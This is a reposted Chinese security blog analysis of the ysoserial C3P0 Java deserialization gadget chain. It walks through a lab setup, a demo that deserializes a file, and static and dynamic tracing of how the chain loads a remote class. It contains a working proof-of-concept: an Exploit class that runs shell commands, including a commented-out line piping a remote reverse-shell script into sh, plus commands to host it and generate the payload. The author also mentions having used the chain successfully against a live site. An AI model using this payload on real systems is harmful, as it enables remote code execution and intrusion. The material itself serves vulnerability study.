C3P0反序列化链浅析

admin 2022年10月1日08:53:39评论27 views字数 5833阅读19分26秒阅读模式

C3P0反序列化链浅析

0x0 前言

  关于C3P0反序列化链也许被很多人忽视了,网上与此相关的分析相对而言也较少,给人一种第一眼鸡肋的感觉,但是笔者有过切身经历,通过Fuzz的手段利用这个链打成功了某个站点。本文则是笔者学习此链的一些体会。

0x1 依赖

安装 ysoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

通过帮助信息,查看C3P0

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

可以看到c3p0需要的依赖:

C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11

要求:

c3p0 版本 0.9.5.2

mchange-commons-java 版本 0.2.11 (C3P0的依赖包,maven加载c3p0会自动加载该包)

0x2 配置环境

1.Idea 新建一个Maven项目

2.pom.xml 添加依赖

<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>

3.编写反序列化的Demo

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class C3P0 {
public static void main(String args[]) throws IOException, ClassNotFoundException {
String path = System.getProperty("user.dir");
System.out.println(path);
ObjectInputStream in = new ObjectInputStream(new FileInputStream(path+"/src/main/java/poc.ser"));
// trigger deserialization point
in.readObject();
}
}

4.挂载远程Exploit.Class

Exploit.java

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
static {
try{
Runtime rt = Runtime.getRuntime();
// reverse shell
//String[] commands = {"bash","-c","curl https://reverse-shell.sh/IP:PORT|sh"};
String[] commands = {"bash", "-c", "open -a calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e){
// do nothing
}
}
}

编译为class文件

javac Exploit.java

挂载Exploit.class

python3 -m http.server 9091

5.生成poc.ser

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:9091/:Exploit" > poc.ser

6.执行反序列化

C3P0反序列化链浅析

0x3 反序列化过程

这里笔者使用了两种分析思路,静态分析依赖环境少,但要求相对来说高,时间成本大点,动态分析则依赖环境搭建,要求较低,看懂代码就行,时间成本低,所以笔者一般会根据时间区间、代码复杂程度来权衡使用这两种方法。

1) 静态分析思路

通过查看ysoserial关于C3P0的注释:

* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

大概可以知道这个链的流向:

第一步:

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

打开Packages,可以看到各种包,我们查找下c3p0

C3P0反序列化链浅析

通过给出的包结构找到了第一个触发点:readObject

C3P0反序列化链浅析

先通过short version = ois.readShort();读取版本,如果可以,那么就开始调用原生的ois.readObject()进行反序列化操作,获得对象之后,触发对象的getObject方法

C3P0反序列化链浅析

第二步:

com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject

C3P0反序列化链浅析

找到这里com.mchange.v2.naming.ReferenceIndirector,我们看到ReferenceSerialized是一个私有静态类,通过第一步触发了该类的getObject方法。

可控的类属性:

ReferenceSerialized( Reference   reference,
Name name,
Name contextName,
Hashtable env )
{
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}

getObjectinitialContext.lookup,其中contextName参数可控,可以进行JNDI注入。

public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );

Context nameContext = null;
if ( contextName != null )
// vuln
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
}

第三步:com.sun.jndi.rmi.registry.RegistryContext->lookup JNDI加载执行恶意类。

通过静态分析,我们可以大体明白C3P0的核心思路,出发点是PoolBackedDataSourceBase,落脚点是:ReferenceSerializedgetObject方法进行lookup加载可控远程恶意类。

2) 动态分析思路

这里我们直接打两个断点,用Idea进行debug分析ysoserial的加载过程。

C3P0反序列化链浅析

C3P0反序列化链浅析

跟进

C3P0反序列化链浅析

可以很明显发现传入的对象是ReferenceSerialized类对象

但是传入的属性跟我静态分析想的不太一样,这里只传入了reference,其他为空:

C3P0反序列化链浅析

然后继续单步跟进触发ReferenceSerialized类对象下的getObject方法,这里需要注意下这里有个关键的判断o是不是IndirectlySerializedS的接口实现,是的话就触发成功。

C3P0反序列化链浅析

这里确实跟我静态分析不一样,并没有采用lookup进行JNDI注入,而是执行ReferenceableUtils.referenceToObject方法,单步跟进:

C3P0反序列化链浅析


可以看到使用URLClassLoader方法通过远程HTTP服务远程加载类之后,利用Class.forName去实现恶意类的触发。

回顾上面的反序列化的过程:

传入一个精心构造的PoolBackedDataSourceBase类实例的序列化数据,反序列化的时候触发下面流程:

1.触发PoolBackedDataSourceBasereadObject的方法

2.原生反序列化得到ReferenceSerialized实例,自带实现IndirectlySerialized接口。

3.ReferenceSerialized实例的Reference属性包括了恶意类的加载信息

4.向下执行((IndirectlySerialized) o).getObject()触发其getObject方法,执行到ReferenceableUtils.referenceToObject( reference, name, nameContext, env )进行远程加载和调用恶意类,完成攻击。

0x4 序列化过程

直接跟进ysoserial的payload生成阶段

C3P0反序列化链浅析

首先可以看到生成C3P0,我们传入的参数有固定格式:<base_url>:<classname>

http://0.0.0.0:9091/:Exploit ->经过解析之后转化为urlclassName

接下来:

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);

上面代码通过反射获取到入口类PoolBackedDataSourceBase得到其实例b。

Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

然后通过反射设置其connectionPoolDataSource属性(为什么是这个属性?这个跟payload序列化生成有关,看下文)->new PoolSource(className, url)

跟进PoolSource的实现:

private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

// constructor
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

// 暂时不知道具体作用
public Reference getReference () throws NamingException {
// 恶意类的远程加载信息
return new Reference("exploit", this.className, this.url);
}
// ...实现接口中的其他函数,可以忽略
}

其实到了这一步,可以感受到ysoserial作者对笔者技术层面进行降维打击。

笔者一直在想的是,为什么不直接自己写个代码实现ReferenceSerialized呢?


这里可以注意到PoolSource类是没有实现Serializable接口的,那么如果对这个对象进行序列化的话,过程会出错的,我们继续跟进objOut.writeObject(b);看下是怎么处理的。

调用到PoolBackedDataSourceBase类下的writeObject

C3P0反序列化链浅析

这里并没有直接通过序列化得到PoolSource,而是缺乏Serializable实现,导致序列化过程失败,转而巧妙地通过indirectForm方法,来生成ReferenceSerialized类实例直接进行字节码写入。(*)

C3P0反序列化链浅析

这里可以看到PoolSource 除了充当ConnectionPoolDataSource类型、在这里还进行了类型强制转换为Referenceable,故PoolSource类继承了ConnectionPoolDataSource, Referenceable这两个接口,同时实现getReference方法,将恶意类的信息加载了进去。

C3P0反序列化链浅析

同时由于返回的是ReferenceSerialized实例,其自身实现IndirectlySerialized接口,故可以通过先前动态调试中的那个判断。

C3P0反序列化链浅析

至此写入的序列化信息,能够在反序列化的时候进行正确类型转换,并且执行到恶意类加载。

0x5 总结

  这个链就是很巧,当时我还以为代码是刻意修改过的,后面发现这都是原生功能,ysoserial作者并没有重新实现某个类,也没有重写序列化方法,故这个神奇的链条实现方式,我自称之为魔法。

0x6 参考链接

C3P0反序列化链利用分析

c3p0的三个gadget

Modify ysoserial jar serialVersionUID

ysoserial CommonsCollections7 & C3P0 详细分析

ysoserial-C3P0 分析

来源先知(https://xz.aliyun.com/t/10273#toc-0)

注:如有侵权请联系删除



C3P0反序列化链浅析

欢迎大家一起加群讨论学习和交流

C3P0反序列化链浅析

学如逆水行,不进则退


原文始发于微信公众号(衡阳信安):C3P0反序列化链浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日08:53:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C3P0反序列化链浅析https://cn-sec.com/archives/1325660.html

发表评论

匿名网友 填写信息